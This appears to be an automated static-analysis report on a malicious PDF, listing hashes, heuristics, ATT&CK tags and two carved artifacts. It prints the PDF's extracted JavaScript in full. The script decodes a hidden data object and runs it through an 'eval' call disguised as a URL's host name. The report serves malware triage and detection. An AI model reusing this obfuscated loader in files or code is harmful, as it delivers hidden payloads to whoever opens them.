Malicious PDF — malware analysis report

Static analysis result for SHA-256 475ceda7acfd6349…

MALICIOUS

PDF

4.5 KB First seen: 2013-08-11
MD5: 447408e779736ed40136198c74e6ffbc SHA-1: 5679205adadb28bbae60ea08436d2d4def54c808 SHA-256: 475ceda7acfd6349770baa78917e7aac9f65b51dd25daf1687d939f4ffef0a02
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript is likely intended to execute or extract the embedded file, which could be a secondary payload. The heuristics indicate suspicious extracted artifacts, including a long encoded blob and the embedded file itself. The presence of these elements strongly suggests a malicious intent to deliver and execute further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 78030 bytes
SHA-256: b1ab7ab08577af14370b12ced569440c44ddb3a21f350364d5ff2807d8f6c06a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
267 of 267 identifiers look randomly generated (e.g. 'aDSxyR7mmsOO2z0T1aDSxyR7mmsOO2z0T2aDSxyR') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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